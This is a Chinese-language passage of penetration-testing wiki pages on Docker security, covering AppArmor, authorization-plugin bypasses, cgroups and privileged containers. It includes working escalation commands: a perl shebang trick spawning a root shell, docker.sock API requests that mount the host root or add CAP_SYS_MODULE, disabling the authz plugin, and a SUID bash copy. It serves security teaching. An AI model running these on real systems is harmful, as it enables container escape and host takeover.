50 profiles are loaded.
13 profiles are in enforce mode.
/sbin/dhclient
/usr/bin/lxc-start
/usr/lib/NetworkManager/nm-dhcp-client.action
/usr/lib/NetworkManager/nm-dhcp-helper
/usr/lib/chromium-browser/chromium-browser//browser_java
/usr/lib/chromium-browser/chromium-browser//browser_openjdk
/usr/lib/chromium-browser/chromium-browser//sanitized_helper
/usr/lib/connman/scripts/dhclient-script
docker-default
```

默认情况下，**Apparmor docker-default profile** 是从 <https://github.com/moby/moby/tree/master/profiles/apparmor> 生成的。

**docker-default profile 摘要**：

* 对所有**网络**的**访问**
* 没有定义**任何权限**（但是，一些权限将来自于包含基本基础规则，即 #include \<abstractions/base>）
* **不允许**写入任何 **/proc** 文件
* 其他 /**proc** 和 /**sys** 的**子目录**/**文件**被**拒绝**读取/写入/锁定/链接/执行访问
* **不允许** **挂载**
* **Ptrace** 只能在受**相同 apparmor profile 限制**的进程上运行

一旦您**运行一个 docker 容器**，您应该看到以下输出：

```bash
1 processes are in enforce mode.
docker-default (825)
```

请注意，**apparmor 默认会阻止容器被授予的 capabilities 权限**。例如，即使授予了 SYS\_ADMIN capability，它也可以**阻止在 /proc 目录内写入的权限**，因为默认情况下 docker apparmor profile 拒绝了这种访问：

```bash
docker run -it --cap-add SYS_ADMIN --security-opt seccomp=unconfined ubuntu /bin/bash
echo "" > /proc/stat
sh: 1: cannot create /proc/stat: Permission denied
```

你需要**禁用 apparmor** 来绕过其限制：

```bash
docker run -it --cap-add SYS_ADMIN --security-opt seccomp=unconfined --security-opt apparmor=unconfined ubuntu /bin/bash
```

请注意，默认情况下**AppArmor**也会**禁止容器从内部挂载**文件夹，即使具有SYS\_ADMIN权限也不行。

请注意，您可以向docker容器**添加/删除\*\*\*\*权限**（这仍将受到诸如**AppArmor**和**Seccomp**之类的保护方法的限制）：

* `--cap-add=SYS_ADMIN` 给予`SYS_ADMIN`权限
* `--cap-add=ALL` 给予所有权限
* `--cap-drop=ALL --cap-add=SYS_PTRACE` 撤销所有权限，仅给予`SYS_PTRACE`权限

{% hint style="info" %}
通常，当您**发现**在**docker**容器**内部**有**特权权限**可用，但某些**利用**的部分**无法正常工作**时，这可能是因为docker的**apparmor在阻止**它。
{% endhint %}

### 示例

（示例来自[**这里**](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-2docker-engine/)）

为了说明AppArmor的功能，我创建了一个名为“mydocker”的新Docker配置文件，并添加了以下行：

```
deny /etc/* w,   # deny write for all files directly in /etc (not in a subdir)
```

要激活配置文件，我们需要执行以下操作：

```
sudo apparmor_parser -r -W mydocker
```

要列出配置文件，我们可以执行以下命令。下面的命令正在列出我的新AppArmor配置文件。

```
$ sudo apparmor_status  | grep mydocker
mydocker
```

如下所示，在尝试更改“/etc/”时，由于AppArmor配置文件阻止对“/etc”的写访问，因此会出现错误。

```
$ docker run --rm -it --security-opt apparmor:mydocker -v ~/haproxy:/localhost busybox chmod 400 /etc/hostname
chmod: /etc/hostname: Permission denied
```

### AppArmor Docker Bypass1

您可以使用以下命令查找运行容器的 **AppArmor配置文件**：

```bash
docker inspect 9d622d73a614 | grep lowpriv
"AppArmorProfile": "lowpriv",
"apparmor=lowpriv"
```

然后，您可以运行以下命令来**查找正在使用的确切配置文件**：

```bash
find /etc/apparmor.d/ -name "*lowpriv*" -maxdepth 1 2>/dev/null
```

### AppArmor Docker Bypass2

**AppArmor是基于路径的**，这意味着即使它可能会**保护**目录内的文件，比如\*\*`/proc`**，如果你能**配置容器的运行方式\*\*，你可以将主机的proc目录挂载到\*\*`/host/proc`**，这样它就**不再受AppArmor保护\*\*。

### AppArmor Shebang Bypass

在[**这个漏洞**](https://bugs.launchpad.net/apparmor/+bug/1911431)中，你可以看到一个例子，即使你正在阻止perl使用某些资源运行，如果你只是创建一个shell脚本，在第一行\*\*`#!/usr/bin/perl`**指定，然后**直接执行该文件\*\*，你将能够执行任何你想要的东西。例如：

```perl
echo '#!/usr/bin/perl
use POSIX qw(strftime);
use POSIX qw(setuid);
POSIX::setuid(0);
exec "/bin/sh"' > /tmp/test.pl
chmod +x /tmp/test.pl
/tmp/test.pl
```

### [WhiteIntel](https://whiteintel.io)

<figure><img src="https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-878e43bb9c156ea00e2843c8fc47e5e4ebfbc581%2Fimage%20(1224).png?alt=media" alt=""><figcaption></figcaption></figure>

[**WhiteIntel**](https://whiteintel.io) 是一个由**暗网**支持的搜索引擎，提供免费功能，用于检查公司或其客户是否受到**窃取恶意软件**的**侵害**。

WhiteIntel的主要目标是打击由信息窃取恶意软件导致的账户劫持和勒索软件攻击。

您可以访问他们的网站并免费尝试他们的引擎：

{% embed url="<https://whiteintel.io>" %}

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS红队专家）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>


# AuthZ& AuthN - Docker Access Authorization Plugin

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS红队专家）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>

**Docker**的**授权**模型是**全有或全无**的。任何具有访问Docker守护程序权限的用户都可以**运行任何**Docker客户端**命令**。对于使用Docker的Engine API联系守护程序的调用方也是如此。如果您需要**更精细的访问控制**，可以创建**授权插件**并将其添加到Docker守护程序配置中。使用授权插件，Docker管理员可以为管理对Docker守护程序的访问配置**细粒度访问**策略。

## 基本架构

Docker Auth插件是您可以使用的**外部插件**，用于根据请求守护程序的**用户**和**请求的操作**来**允许/拒绝**发送到Docker守护程序的**操作**。

[**以下信息来自文档**](https://docs.docker.com/engine/extend/plugins_authorization/#:~:text=If%20you%20require%20greater%20access,access%20to%20the%20Docker%20daemon)

当通过CLI或通过Engine API向Docker **守护程序**发出**HTTP请求**时，**身份验证子系统**将请求传递给已安装的**身份验证插件**。请求包含用户（调用方）和命令上下文。**插件**负责决定是否**允许**或**拒绝**请求。

下面的序列图描述了允许和拒绝授权流程：

![授权允许流程](https://docs.docker.com/engine/extend/images/authz_allow.png)

![授权拒绝流程](https://docs.docker.com/engine/extend/images/authz_deny.png)

发送到插件的每个请求**包括经过身份验证的用户、HTTP头和请求/响应正文**。只传递**用户名**和**使用的身份验证方法**给插件。最重要的是，**不会传递用户凭据或令牌**。最后，**并非所有请求/响应正文都会发送**到授权插件。只有`Content-Type`为`text/*`或`application/json`的请求/响应正文会被发送。

对于可能劫持HTTP连接的命令（如`exec`）等命令，授权插件仅在初始HTTP请求时调用。一旦插件批准命令，授权就不会应用于其余流程。具体来说，流式数据不会传递给授权插件。对于返回分块HTTP响应的命令，如`logs`和`events`，只有HTTP请求会发送到授权插件。

在请求/响应处理期间，某些授权流可能需要对Docker守护程序进行额外查询。为了完成这样的流程，插件可以调用类似于常规用户的守护程序API。为了启用这些额外查询，插件必须提供管理员配置适当的身份验证和安全策略的手段。

### 多个插件

您负责在Docker守护程序**启动**时**注册**您的**插件**。您可以安装**多个插件并将它们链接在一起**。此链可以排序。每个传递到守护程序的请求都会按顺序通过链。只有当**所有插件都授予对资源的访问权限**时，访问权限才会被授予。

## 插件示例

### Twistlock AuthZ Broker

插件[**authz**](https://github.com/twistlock/authz)允许您创建一个简单的**JSON**文件，插件将**读取**以授权请求。因此，它为您提供了很容易控制哪些API端点可以被每个用户访问的机会。

这是一个示例，允许Alice和Bob创建新容器：`{"name":"policy_3","users":["alice","bob"],"actions":["container_create"]}`

在页面[route\_parser.go](https://github.com/twistlock/authz/blob/master/core/route_parser.go)中，您可以找到请求的URL与操作之间的关系。在页面[types.go](https://github.com/twistlock/authz/blob/master/core/types.go)中，您可以找到操作名称与操作之间的关系

### 简单插件教程

您可以在这里找到一个**易于理解的插件**，其中包含有关安装和调试的详细信息：[**https://github.com/carlospolop-forks/authobot**](https://github.com/carlospolop-forks/authobot)

阅读`README`和`plugin.go`代码以了解其工作原理。

## Docker授权插件绕过

### 枚举访问

要检查的主要内容是**允许的端点**和**允许的HostConfig值**。

要执行此枚举，您可以使用工具[**https://github.com/carlospolop/docker\_auth\_profiler**](https://github.com/carlospolop/docker_auth_profiler)**。**

### 禁止`run --privileged`

#### 最低权限

```bash
docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash
```

#### 运行容器然后获取特权会话

在这种情况下，系统管理员**禁止用户挂载卷并使用`--privileged`标志运行容器**或为容器提供任何额外的功能：

```bash
docker run -d --privileged modified-ubuntu
docker: Error response from daemon: authorization denied by plugin customauth: [DOCKER FIREWALL] Specified Privileged option value is Disallowed.
See 'docker run --help'.
```

然而，用户可以**在运行的容器内创建一个 shell 并赋予它额外的权限**：

```bash
docker run -d --security-opt seccomp=unconfined --security-opt apparmor=unconfined ubuntu
#bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be6fee0f9f3e4f1de

# Now you can run a shell with --privileged
docker exec -it privileged bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be6fee0f9f3e4f1de bash
# With --cap-add=ALL
docker exec -it ---cap-add=ALL bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be6fee0f9f3e4 bash
# With --cap-add=SYS_ADMIN
docker exec -it ---cap-add=SYS_ADMIN bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be6fee0f9f3e4 bash
```

现在，用户可以使用任何[**先前讨论过的技术**](/linux-hardening/privilege-escalation/docker-security#privileged-flag)来逃离容器，并在主机内**提升权限**。

### 挂载可写文件夹

在这种情况下，系统管理员**禁止用户使用`--privileged`标志运行容器**或为容器提供任何额外的功能，只允许挂载`/tmp`文件夹：

```bash
host> cp /bin/bash /tmp #Cerate a copy of bash
host> docker run -it -v /tmp:/host ubuntu:18.04 bash #Mount the /tmp folder of the host and get a shell
docker container> chown root:root /host/bash
docker container> chmod u+s /host/bash
host> /tmp/bash
-p #This will give you a shell as root
```

{% hint style="info" %}
请注意，您可能无法挂载文件夹 `/tmp`，但可以挂载**其他可写文件夹**。您可以使用以下命令查找可写目录：`find / -writable -type d 2>/dev/null`

**请注意，并非 Linux 机器上的所有目录都支持 suid 位！** 为了检查哪些目录支持 suid 位，请运行 `mount | grep -v "nosuid"`。例如，通常 `/dev/shm`、`/run`、`/proc`、`/sys/fs/cgroup` 和 `/var/lib/lxcfs` 不支持 suid 位。

还要注意，如果您可以**挂载 `/etc`** 或包含配置文件的任何其他文件夹，您可以在 docker 容器中以 root 身份更改它们，以便**在主机中滥用它们**并提升权限（也许修改 `/etc/shadow`）
{% endhint %}

### 未经检查的 API 端点

配置此插件的系统管理员的责任是控制每个用户可以执行哪些操作以及具有哪些特权。因此，如果管理员采用**黑名单**方法处理端点和属性，可能会**忘记一些**可能允许攻击者**提升权限**的端点。

您可以在 <https://docs.docker.com/engine/api/v1.40/#> 中查看 docker API。

### 未经检查的 JSON 结构

#### 在根目录中绑定

当系统管理员配置 docker 防火墙时，可能**忘记了**[**API**](https://docs.docker.com/engine/api/v1.40/#operation/ContainerList)的一些重要参数，比如 "**Binds**"。\
在以下示例中，可以利用此配置错误创建和运行一个容器，该容器挂载主机的根目录 (/)：

```bash
docker version #First, find the API version of docker, 1.40 in this example
docker images #List the images available
#Then, a container that mounts the root folder of the host
curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu", "Binds":["/:/host"]}' http:/v1.40/containers/create
docker start f6932bc153ad #Start the created privileged container
docker exec -it f6932bc153ad chroot /host bash #Get a shell inside of it
#You can access the host filesystem
```

{% hint style="warning" %}
请注意，在此示例中，我们将\*\*`Binds`**参数作为JSON中的根级键使用，但在API中，它出现在**`HostConfig`\*\*键下面。
{% endhint %}

#### HostConfig中的Binds

按照**根目录中的Binds**的相同指示，执行以下**请求**到Docker API：

```bash
curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu", "HostConfig":{"Binds":["/:/host"]}}' http:/v1.40/containers/create
```

#### 在根目录中挂载

按照与**在根目录中绑定**相同的说明，执行以下**请求**到Docker API：

```bash
curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu-sleep", "Mounts": [{"Name": "fac36212380535", "Source": "/", "Destination": "/host", "Driver": "local", "Mode": "rw,Z", "RW": true, "Propagation": "", "Type": "bind", "Target": "/host"}]}' http:/v1.40/containers/create
```

#### HostConfig中的挂载

按照与**根目录中的绑定**相同的说明，执行以下对Docker API的**请求**：

```bash
curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu-sleep", "HostConfig":{"Mounts": [{"Name": "fac36212380535", "Source": "/", "Destination": "/host", "Driver": "local", "Mode": "rw,Z", "RW": true, "Propagation": "", "Type": "bind", "Target": "/host"}]}}' http:/v1.40/containers/cre
```

### 未经检查的 JSON 属性

当系统管理员配置 Docker 防火墙时，有可能**忘记了某些参数的重要属性**，比如[**API**](https://docs.docker.com/engine/api/v1.40/#operation/ContainerList)中的 "**Capabilities**" 在 "**HostConfig**" 内部。在下面的示例中，可以利用这个配置错误来创建并运行一个具有 **SYS\_MODULE** 能力的容器：

```bash
docker version
curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu", "HostConfig":{"Capabilities":["CAP_SYS_MODULE"]}}' http:/v1.40/containers/create
docker start c52a77629a9112450f3dedd1ad94ded17db61244c4249bdfbd6bb3d581f470fa
docker ps
docker exec -it c52a77629a91 bash
capsh --print
#You can abuse the SYS_MODULE capability
```

{% hint style="info" %}
**`HostConfig`通常包含从容器中逃脱的有趣** **特权**的关键。然而，正如我们之前讨论过的，注意如何在其外部使用Binds也可以起作用，并且可能允许您绕过限制。
{% endhint %}

### 禁用插件

如果**系统管理员**忘记**禁止**禁用**插件**的能力，您可以利用这一点完全禁用它！

```bash
docker plugin list #Enumerate plugins

# If you don’t have access to enumerate the plugins you can see the name of the plugin in the error output:
docker: Error response from daemon: authorization denied by plugin authobot:latest: use of Privileged containers is not allowed.
# "authbolt" is the name of the previous plugin

docker plugin disable authobot
docker run --rm -it --privileged -v /:/host ubuntu bash
docker plugin enable authobot
```

### Docker访问授权插件认证和授权

记得在提升权限后**重新启用插件**，否则**重启docker服务不会生效**！

### Auth插件绕过攻略

* <https://staaldraad.github.io/post/2019-07-11-bypass-docker-plugin-with-containerd/>

### 参考资料

* <https://docs.docker.com/engine/extend/plugins_authorization/>


# CGroups

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>

其他支持HackTricks的方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>

## 基本信息

**Linux控制组**，或**cgroups**，是Linux内核的一个功能，允许在进程组之间分配、限制和优先处理系统资源，如CPU、内存和磁盘I/O。它们提供了一种**管理和隔离进程集合的资源使用**的机制，有助于资源限制、工作负载隔离以及在不同进程组之间进行资源优先处理。

**cgroups有两个版本**：版本1和版本2。两者可以同时在系统上使用。主要区别在于**cgroups版本2**引入了一个**层次化、类似树状结构**，使得在进程组之间能够进行更细致和详细的资源分配。此外，版本2带来了各种增强功能，包括：

除了新的层次化组织外，cgroups版本2还引入了**其他几项更改和改进**，如支持**新的资源控制器**、更好地支持传统应用程序和改进的性能。

总体而言，**cgroups版本2提供了更多功能和更好的性能**，但在某些情况下仍可以使用版本1，特别是在需要与旧系统兼容性的情况下。

您可以通过查看/proc/\<pid>中的cgroup文件来列出任何进程的v1和v2 cgroups。您可以通过以下命令查看您的shell的cgroups开始。

```shell-session
$ cat /proc/self/cgroup
12:rdma:/
11:net_cls,net_prio:/
10:perf_event:/
9:cpuset:/
8:cpu,cpuacct:/user.slice
7:blkio:/user.slice
6:memory:/user.slice 5:pids:/user.slice/user-1000.slice/session-2.scope 4:devices:/user.slice
3:freezer:/
2:hugetlb:/testcgroup
1:name=systemd:/user.slice/user-1000.slice/session-2.scope
0::/user.slice/user-1000.slice/session-2.scope
```

* **数字 2–12**：cgroups v1，每行代表不同的 cgroup。这些 cgroup 的控制器与数字相邻。
* **数字 1**：也是 cgroups v1，但仅用于管理目的（例如由 systemd 设置），不包含控制器。
* **数字 0**：代表 cgroups v2。未列出控制器，此行仅适用于仅运行 cgroups v2 的系统。
* **名称是分层的**，类似文件路径，表示不同 cgroups 之间的结构和关系。
* **像 /user.slice 或 /system.slice** 这样的名称指定了 cgroups 的分类，其中 user.slice 通常用于由 systemd 管理的登录会话，而 system.slice 用于系统服务。

### 查看 cgroups

通常使用文件系统访问 **cgroups**，与传统用于内核交互的 Unix 系统调用接口不同。要查看 shell 的 cgroup 配置，应检查 **/proc/self/cgroup** 文件，其中显示了 shell 的 cgroup。然后，通过导航到 **/sys/fs/cgroup**（或 **`/sys/fs/cgroup/unified`**）目录，并找到与 cgroup 名称相同的目录，可以查看与 cgroup 相关的各种设置和资源使用信息。

![Cgroup 文件系统](https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-86da99243ae911189aabbf8a13c86941870048b6%2Fimage%20\(10\)%20\(2\)%20\(2\).png?alt=media)

cgroups 的关键接口文件以 **cgroup** 为前缀。可以使用标准命令（如 cat）查看的 **cgroup.procs** 文件列出了 cgroup 中的进程。另一个文件 **cgroup.threads** 包含线程信息。

![Cgroup 进程](https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-a3049cbbd1080fa0fc80cdba03ed32e2a22ba700%2Fimage%20\(1\)%20\(1\)%20\(5\).png?alt=media)

管理 shell 的 cgroups 通常包含两个控制器，用于调节内存使用和进程计数。要与控制器交互，应查阅带有控制器前缀的文件。例如，**pids.current** 将被引用以确定 cgroup 中线程的计数。

![Cgroup 内存](https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-9659bd69fa13927ee9ef86a11e58e96ae24c72f2%2Fimage%20\(3\)%20\(5\).png?alt=media)

数值中的 **max** 表示 cgroup 没有特定限制。但是，由于 cgroups 的分层结构，限制可能由目录层次结构中较低级别的 cgroup 强加。

### 操作和创建 cgroups

通过**将其进程 ID（PID）写入 `cgroup.procs` 文件**，将进程分配给 cgroups。这需要 root 权限。例如，要添加一个进程：

```bash
echo [pid] > cgroup.procs
```

同样，**修改 cgroup 属性，比如设置 PID 限制**，是通过将期望的值写入相关文件来完成的。要为 cgroup 设置最大 3,000 个 PID：

```bash
echo 3000 > pids.max
```

**创建新的 cgroups** 包括在 cgroup 层次结构中创建一个新的子目录，这会促使内核自动生成必要的接口文件。尽管可以使用 `rmdir` 删除没有活动进程的 cgroups，但要注意一些限制：

* **进程只能放置在叶子 cgroups 中**（即，在层次结构中最嵌套的 cgroups）。
* **一个 cgroup 不能拥有其父级中不存在的控制器**。
* **子 cgroups 的控制器必须在 `cgroup.subtree_control` 文件中显式声明**。例如，要在子 cgroup 中启用 CPU 和 PID 控制器：

```bash
echo "+cpu +pids" > cgroup.subtree_control
```

**根 cgroup** 是这些规则的一个例外，允许直接进程放置。这可以用来将进程从 systemd 管理中移除。

在 cgroup 中**监视 CPU 使用情况**是可能的，通过 `cpu.stat` 文件显示总 CPU 时间消耗，有助于跟踪服务的子进程的使用情况：

<figure><img src="https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-5109dd9b3911242380921b2541abe06a93c63259%2Fimage%20(2)%20(6)%20(3).png?alt=media" alt=""><figcaption><p>在 cpu.stat 文件中显示的 CPU 使用统计信息</p></figcaption></figure>

## 参考资料

* **书籍：《How Linux Works, 第3版：每个超级用户都应该了解的内容》作者 Brian Ward**


# Docker --privileged

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>

* 您在**网络安全公司**工作吗？ 想要看到您的**公司在HackTricks中做广告**吗？ 或者您想要访问**PEASS的最新版本或下载HackTricks的PDF**吗？ 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 发现我们的独家[NFTs收藏品**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks)**和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)**提交PR来分享您的黑客技巧**。

</details>

## 影响

当您将容器以特权模式运行时，您将禁用以下保护措施：

### 挂载/dev

在特权容器中，所有**设备都可以在`/dev/`中访问**。 因此，您可以通过**挂载**主机的磁盘来**逃逸**。

```bash
# docker run --rm -it alpine sh
ls /dev
console  fd       mqueue   ptmx     random   stderr   stdout   urandom
core     full     null     pts      shm      stdin    tty      zero
```

```bash
# docker run --rm --privileged -it alpine sh
ls /dev
cachefiles       mapper           port             shm              tty24            tty44            tty7
console          mem              psaux            stderr           tty25            tty45            tty8
core             mqueue           ptmx             stdin            tty26            tty46            tty9
cpu              nbd0             pts              stdout           tty27            tty47            ttyS0
[...]
```

#### 只读内核文件系统

内核文件系统提供了一个机制，允许进程修改内核的行为。然而，对于容器进程，我们希望阻止它们对内核进行任何更改。因此，我们在容器内将内核文件系统挂载为**只读**，确保容器进程无法修改内核。

```bash
# docker run --rm -it alpine sh
mount | grep '(ro'
sysfs on /sys type sysfs (ro,nosuid,nodev,noexec,relatime)
cpuset on /sys/fs/cgroup/cpuset type cgroup (ro,nosuid,nodev,noexec,relatime,cpuset)
cpu on /sys/fs/cgroup/cpu type cgroup (ro,nosuid,nodev,noexec,relatime,cpu)
cpuacct on /sys/fs/cgroup/cpuacct type cgroup (ro,nosuid,nodev,noexec,relatime,cpuacct)
```

```bash
# docker run --rm --privileged -it alpine sh
mount  | grep '(ro'
```

### 遮蔽内核文件系统

**/proc** 文件系统是可选择性可写的，但为了安全起见，某些部分被用 **tmpfs** 遮蔽，确保容器进程无法访问敏感区域。

{% hint style="info" %}
**tmpfs** 是一个将所有文件存储在虚拟内存中的文件系统。tmpfs 不会在硬盘上创建任何文件。因此，如果卸载 tmpfs 文件系统，其中存储的所有文件将永远丢失。
{% endhint %}

```bash
# docker run --rm -it alpine sh
mount  | grep /proc.*tmpfs
tmpfs on /proc/acpi type tmpfs (ro,relatime)
tmpfs on /proc/kcore type tmpfs (rw,nosuid,size=65536k,mode=755)
tmpfs on /proc/keys type tmpfs (rw,nosuid,size=65536k,mode=755)
```

```bash
# docker run --rm --privileged -it alpine sh
mount  | grep /proc.*tmpfs
```

### Linux capabilities

容器引擎默认以**有限数量的功能**启动容器，以控制容器内部的操作。**特权容器**具有**所有**可访问的**功能**。要了解有关功能的信息，请阅读：

{% content-ref url="/pages/OHuzBhvUEH3MrP5cC9Ck" %}
[Linux Capabilities](/linux-hardening/privilege-escalation/linux-capabilities)
{% endcontent-ref %}

{% tabs %}
{% tab title="默认容器内部" %}

```bash
# docker run --rm -it alpine sh
apk add -U libcap; capsh --print
[...]
Current: cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=eip
Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap
[...]
```

{% endtab %}

{% tab title="特权容器内部" %}

```bash
# docker run --rm --privileged -it alpine sh
apk add -U libcap; capsh --print
[...]
Current: =eip cap_perfmon,cap_bpf,cap_checkpoint_restore-eip
Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read
[...]
```

**特权提升**

您可以通过使用`--cap-add`和`--cap-drop`标志来操纵容器中可用的功能，而无需在`--privileged`模式下运行。

**Seccomp**

**Seccomp** 对于限制容器可以调用的**syscalls**非常有用。在运行docker容器时，默认情况下启用了默认的seccomp配置文件，但在特权模式下会被禁用。在这里了解更多关于Seccomp的信息：

{% content-ref url="/pages/ESKNypUGgMB6l0TLeMcr" %}
[Seccomp](/linux-hardening/privilege-escalation/docker-security/seccomp)
{% endcontent-ref %}

```bash
# docker run --rm -it alpine sh
grep Seccomp /proc/1/status
Seccomp:	2
Seccomp_filters:	1
```

{% endtab %}

{% tab title="特权容器内部" %}

```bash
# docker run --rm --privileged -it alpine sh
grep Seccomp /proc/1/status
Seccomp:	0
Seccomp_filters:	0
```

{% endtab %}
{% endtabs %}

```bash
# You can manually disable seccomp in docker with
--security-opt seccomp=unconfined
```

此外，请注意，当Docker（或其他CRIs）在Kubernetes集群中使用时，默认情况下会禁用seccomp过滤器。

### AppArmor

**AppArmor**是一个内核增强功能，用于将容器限制在一组有限的资源上，并使用每个程序的配置文件。当您使用`--privileged`标志运行时，此保护将被禁用。

{% content-ref url="/pages/P5pHWnFIwvKmCo10fXVx" %}
[AppArmor](/linux-hardening/privilege-escalation/docker-security/apparmor)
{% endcontent-ref %}

```bash
# You can manually disable seccomp in docker with
--security-opt apparmor=unconfined
```

### SELinux

使用 `--privileged` 标志运行容器会禁用 **SELinux 标签**，导致容器继承容器引擎的标签，通常为 `unconfined`，从而获得类似容器引擎的完全访问权限。在非 root 模式下，使用 `container_runtime_t`，而在 root 模式下，则应用 `spc_t`。

{% content-ref url="/pages/msFeR5qQFl1uQvICMwl9" %}
[SELinux](/linux-hardening/privilege-escalation/selinux)
{% endcontent-ref %}

```bash
# You can manually disable selinux in docker with
--security-opt label:disable
```

## 不受影响的内容

### 命名空间

命名空间**不受**`--privileged`标志的影响。尽管它们没有启用安全约束，**例如，它们不会看到系统上的所有进程或主机网络**。用户可以通过使用\*\*`--pid=host`、`--net=host`、`--ipc=host`、`--uts=host`\*\*容器引擎标志来禁用单个命名空间。

```bash
# docker run --rm --privileged -it alpine sh
ps -ef
PID   USER     TIME  COMMAND
1 root      0:00 sh
18 root      0:00 ps -ef
```

